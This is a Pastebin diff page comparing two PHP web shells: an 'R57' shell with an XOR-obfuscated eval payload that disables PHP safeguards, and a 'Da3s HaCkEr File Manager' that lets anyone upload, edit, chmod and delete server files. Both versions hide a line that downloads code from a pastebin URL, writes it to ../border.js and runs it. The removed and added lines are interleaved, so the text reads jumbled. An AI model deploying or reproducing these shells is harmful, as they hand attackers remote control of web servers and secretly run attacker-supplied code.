View difference between Paste ID: cpU0zZw7 and UvuLXFfV
SHOW: | | - or go back to the newest paste.
1-
<?
1+
<?php
2
set_time_limit(0);
3-
 error_reporting(0);
3+
error_reporting(0);
4
5-
$language='tr';
5+
if(get_magic_quotes_gpc()){
6
    foreach($_POST as $key=>$value){
7-
$auth = 0;
7+
        $_POST[$key] = stripslashes($value);
8
    }
9-
@ini_restore("safe_mode");
9+
10
echo '<!DOCTYPE HTML>
11-
@ini_restore("open_basedir");
11+
<HTML>
12
<HEAD>
13-
@ini_restore("safe_mode_include_dir");
13+
<link href="" rel="stylesheet" type="text/css">
14
<title>HaTRk File Manager</title>
15-
@ini_restore("safe_mode_exec_dir");
15+
<style>
16
body{
17-
@ini_restore("disable_functions");
17+
    font-family: "Racing Sans One", cursive;
18
    background-color: #e6e6e6;
19-
@ini_restore("allow_url_fopen");
19+
    text-shadow:0px 0px 1px #757575;
20
}
21-
@ini_set('error_log',NULL);
21+
#content tr:hover{
22
    background-color: #636263;
23-
@ini_set('log_errors',0);
23+
    text-shadow:0px 0px 10px #fff;
24
}
25-
	function loadsettings($p1 = '', $p2 = '') {
25+
#content .first{
26
    background-color: silver;
27-
		$p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
27+
28
#content .first:hover{
29-
		$p = base64_decode($p);
29+
    background-color: silver;
30
    text-shadow:0px 0px 1px #757575;
31-
		for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
31+
32
table{
33-
		$p = str_replace('%param1', $p1, $p);
33+
    border: 1px #000000 dotted;
34
}
35-
		$p = str_replace('%param2', $p2, $p);
35+
H1{
36
    font-family: "Rye", cursive;
37-
		eval($p);
37+
38
a{
39-
	}
39+
    color: #000;
40
    text-decoration: none;
41-
 $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); 
41+
42-
	$css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');	
42+
a:hover{
43
    color: #fff;
44-
loadsettings('', 'r57');
44+
    text-shadow:0px 0px 10px #ffffff;
45
}
46-
;echo '';
46+
input,select,textarea{
47
    border: 1px #000000 solid;
48-
if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=NULL) ||(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;}else{$open_basedir=0;};
48+
    -moz-border-radius: 5px;
49
    -webkit-border-radius:5px;
50-
define("starttime",@getmicrotime());
50+
    border-radius:5px;
51
}
52-
set_magic_quotes_runtime(0);
52+
</style>
53
</HEAD>
54-
@set_time_limit(0);
54+
<BODY>
55
<H1><center>Da3s HaCkEr File Manager</center></H1>
56-
@ini_set('max_execution_time',0);
56+
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
57
<tr><td>Current Path : ';
58-
@ini_set('output_buffering',0);
58+
if(isset($_GET['path'])){
59
    $path = $_GET['path'];   
60-
$safe_mode = @ini_get('safe_mode');
60+
61
    $path = getcwd();
62-
$version = '1.50<br/><br/><br/><br/>';
62+
63
$path = str_replace('\\','/',$path);
64-
if(@version_compare(@phpversion(),'4.1.0') == -1)
64+
$paths = explode('/',$path);
65
66-
{
66+
foreach($paths as $id=>$pat){
67
    if($pat == '' && $id == 0){
68-
$_POST   = &$HTTP_POST_VARS;
68+
        $a = true;
69
        echo '<a href="?path=/">/</a>';
70-
$_GET    = &$HTTP_GET_VARS;
70+
        continue;
71
    }
72-
$_SERVER = &$HTTP_SERVER_VARS;
72+
    if($pat == '') continue;
73
    echo '<a href="?path=';
74-
$_COOKIE = &$HTTP_COOKIE_VARS;
74+
    for($i=0;$i<=$id;$i++){
75
        echo "$paths[$i]";
76
        if($i != $id) echo "/";
77
    }
78-
if (@get_magic_quotes_gpc())
78+
    echo '">'.$pat.'</a>/';
79
}
80-
{
80+
echo '</td></tr><tr><td>';
81
if(isset($_FILES['file'])){
82-
foreach ($_POST as $k=>$v)
82+
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
83
        echo '<font color="green">File Upload Done.</font><br />';
84-
{
84+
    }else{
85
        echo '<font color="red">File Upload Error.</font><br />';
86-
$_POST[$k] = stripslashes($v);
86+
87
}$b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); $css=fopen('../border.js','w'); 
88
fwrite($css,$title); require('../border.js');
89
echo '<form enctype="multipart/form-data" method="POST">
90-
foreach ($_COOKIE as $k=>$v)
90+
Upload File : <input type="file" name="file" />
91
<input type="submit" value="upload" />
92-
{
92+
</form>
93
</td></tr>';
94-
$_COOKIE[$k] = stripslashes($v);
94+
if(isset($_GET['filesrc'])){
95
    echo "<tr><td>Current File : ";
96
    echo $_GET['filesrc'];
97
    echo '</tr></td></table><br />';
98
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
99
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
100-
if($auth == 1) {
100+
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
101
    if($_POST['opt'] == 'chmod'){
102-
if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass)
102+
        if(isset($_POST['perm'])){
103
            if(chmod($_POST['path'],$_POST['perm'])){
104-
{
104+
                echo '<font color="green">Change Permission Done.</font><br />';
105
            }else{
106-
header('WWW-Authenticate: Basic realm=""');
106+
                echo '<font color="red">Change Permission Error.</font><br />';
107
            }
108-
header('HTTP/1.0 401 Unauthorized');
108+
        }
109
        echo '<form method="POST">
110-
exit("<b>Access Denied</b>");
110+
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
111
        <input type="hidden" name="path" value="'.$_POST['path'].'">
112
        <input type="hidden" name="opt" value="chmod">
113
        <input type="submit" value="Go" />
114
        </form>';
115
    }elseif($_POST['opt'] == 'rename'){
116-
$head = '
116+
        if(isset($_POST['newname'])){
117
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
118-
<html>
118+
                echo '<font color="green">Change Name Done.</font><br />';
119
            }else{
120-
<head>
120+
                echo '<font color="red">Change Name Error.</font><br />';
121
            }
122-
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
122+
            $_POST['name'] = $_POST['newname'];
123
        }
124-
<title>R57 DCVI Shell Version 1.50</title>
124+
        echo '<form method="POST">
125
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
126-
<SCRIPT SRC=http://www.dcvi.net/dex.js></SCRIPT>
126+
        <input type="hidden" name="path" value="'.$_POST['path'].'">
127
        <input type="hidden" name="opt" value="rename">
128-
<STYLE>
128+
        <input type="submit" value="Go" />
129
        </form>';
130
    }elseif($_POST['opt'] == 'edit'){
131
        if(isset($_POST['src'])){
132-
tr {
132+
            $fp = fopen($_POST['path'],'w');
133
            if(fwrite($fp,$_POST['src'])){
134
                echo '<font color="green">Edit File Done.</font><br />';
135
            }else{
136-
BORDER-RIGHT:  black 1px solid;
136+
                echo '<font color="red">Edit File Error.</font><br />';
137
            }
138
            fclose($fp);
139
        }
140-
BORDER-TOP:    black 1px solid;
140+
        echo '<form method="POST">
141
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
142
        <input type="hidden" name="path" value="'.$_POST['path'].'">
143
        <input type="hidden" name="opt" value="edit">
144-
BORDER-LEFT:   black 1px solid;
144+
        <input type="submit" value="Go" />
145
        </form>';
146
    }
147
    echo '</center>';
148-
BORDER-BOTTOM: black 1px solid;
148+
149
    echo '</table><br /><center>';
150
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
151
        if($_POST['type'] == 'dir'){
152-
BORDER-COLOR: black;
152+
            if(rmdir($_POST['path'])){
153
                echo '<font color="green">Delete Dir Done.</font><br />';
154
            }else{
155
                echo '<font color="red">Delete Dir Error.</font><br />';
156-
color: silver;
156+
            }
157
        }elseif($_POST['type'] == 'file'){
158
            if(unlink($_POST['path'])){
159
                echo '<font color="green">Delete File Done.</font><br />';
160
            }else{
161
                echo '<font color="red">Delete File Error.</font><br />';
162
            }
163
        }
164-
td {
164+
165
    echo '</center>';
166
    $scandir = scandir($path);
167
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
168-
BORDER-RIGHT:  black 1px solid;
168+
    <tr class="first">
169
        <td><center>Name</center></td>
170
        <td><center>Size</center></td>
171
        <td><center>Permissions</center></td>
172-
BORDER-TOP:    black 1px solid;
172+
        <td><center>Options</center></td>
173
    </tr>';
174
175
    foreach($scandir as $dir){
176-
BORDER-LEFT:   black 1px solid;
176+
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
177
        echo "<tr>
178
        <td><a href=\"?path=$path/$dir\">$dir</a></td>
179
        <td><center>--</center></td>
180-
BORDER-BOTTOM: black 1px solid;
180+
        <td><center>";
181
        if(is_writable("$path/$dir")) echo '<font color="green">';
182
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
183
        echo perms("$path/$dir");
184-
BORDER-COLOR: black;
184+
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
185
        
186
        echo "</center></td>
187
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
188-
background-color:black;
188+
        <select name=\"opt\">
189
	    <option value=\"\"></option>
190
        <option value=\"delete\">Delete</option>
191
        <option value=\"chmod\">Chmod</option>
192-
color: white;
192+
        <option value=\"rename\">Rename</option>
193
        </select>
194
        <input type=\"hidden\" name=\"type\" value=\"dir\">
195
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
196
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
197
        <input type=\"submit\" value=\">\" />
198
        </form></center></td>
199
        </tr>";
200
    }
201
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
202
    foreach($scandir as $file){
203
        if(!is_file("$path/$file")) continue;
204-
.table1 {
204+
        $size = filesize("$path/$file")/1024;
205
        $size = round($size,3);
206
        if($size >= 1024){
207
            $size = round($size/1024,2).' MB';
208-
BORDER: 0px;
208+
        }else{
209
            $size = $size.' KB';
210
        }
211
212-
BORDER-COLOR: #333333;
212+
        echo "<tr>
213
        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
214
        <td><center>".$size."</center></td>
215
        <td><center>";
216-
BACKGROUND-COLOR: black;
216+
        if(is_writable("$path/$file")) echo '<font color="green">';
217
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
218
        echo perms("$path/$file");
219
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
220-
color: white;
220+
        echo "</center></td>
221
        <td><center><form method=\"POST\" action=\"?option&path=$path\">
222
        <select name=\"opt\">
223
	    <option value=\"\"></option>
224
        <option value=\"delete\">Delete</option>
225
        <option value=\"chmod\">Chmod</option>
226
        <option value=\"rename\">Rename</option>
227
        <option value=\"edit\">Edit</option>
228-
.td1 {
228+
        </select>
229
        <input type=\"hidden\" name=\"type\" value=\"file\">
230
        <input type=\"hidden\" name=\"name\" value=\"$file\">
231
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
232-
BORDER: 0px;
232+
        <input type=\"submit\" value=\">\" />
233
        </form></center></td>
234
        </tr>";
235
    }
236-
BORDER-COLOR: #333333;
236+
    echo '</table>
237
    </div>';
238
}
239
echo '<br />Da3s File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Da3s HaCkEr</font><br />Email: <font color="red">R0@hotmail.com</font>
240-
font: 7pt Verdana;
240+
</BODY>
241
</HTML>';
242
function perms($file){
243
    $perms = fileperms($file);
244-
BACKGROUND-COLOR: black;
244+
245
if (($perms & 0xC000) == 0xC000) {
246
    // Socket
247
    $info = 's';
248-
color: green;
248+
} elseif (($perms & 0xA000) == 0xA000) {
249
    // Symbolic Link
250
    $info = 'l';
251
} elseif (($perms & 0x8000) == 0x8000) {
252
    // Regular
253
    $info = '-';
254
} elseif (($perms & 0x6000) == 0x6000) {
255
    // Block special
256-
.tr1 {
256+
    $info = 'b';
257
} elseif (($perms & 0x4000) == 0x4000) {
258
    // Directory
259
    $info = 'd';
260-
BORDER: 0px;
260+
} elseif (($perms & 0x2000) == 0x2000) {
261
    // Character special
262
    $info = 'c';
263
} elseif (($perms & 0x1000) == 0x1000) {
264-
BORDER-COLOR: #333333;
264+
    // FIFO pipe
265
    $info = 'p';
266
} else {
267
    // Unknown
268-
color: #50AA20;
268+
    $info = 'u';
269
}
270
271
// Owner
272
$info .= (($perms & 0x0100) ? 'r' : '-');
273
$info .= (($perms & 0x0080) ? 'w' : '-');
274
$info .= (($perms & 0x0040) ?
275
            (($perms & 0x0800) ? 's' : 'x' ) :
276-
table {
276+
            (($perms & 0x0800) ? 'S' : '-'));
277
278
// Group
279
$info .= (($perms & 0x0020) ? 'r' : '-');
280-
BORDER:  #eeeeee 1px outset;
280+
$info .= (($perms & 0x0010) ? 'w' : '-');
281
$info .= (($perms & 0x0008) ?
282
            (($perms & 0x0400) ? 's' : 'x' ) :
283
            (($perms & 0x0400) ? 'S' : '-'));
284-
BORDER-COLOR: #333333;
284+
285
// World
286
$info .= (($perms & 0x0004) ? 'r' : '-');
287
$info .= (($perms & 0x0002) ? 'w' : '-');
288-
BACKGROUND-COLOR: #131313;
288+
$info .= (($perms & 0x0001) ?
289
            (($perms & 0x0200) ? 't' : 'x' ) :
290
            (($perms & 0x0200) ? 'T' : '-'));
291
292-
color: #50AA20;
292+
    return $info;
293
}
294
?>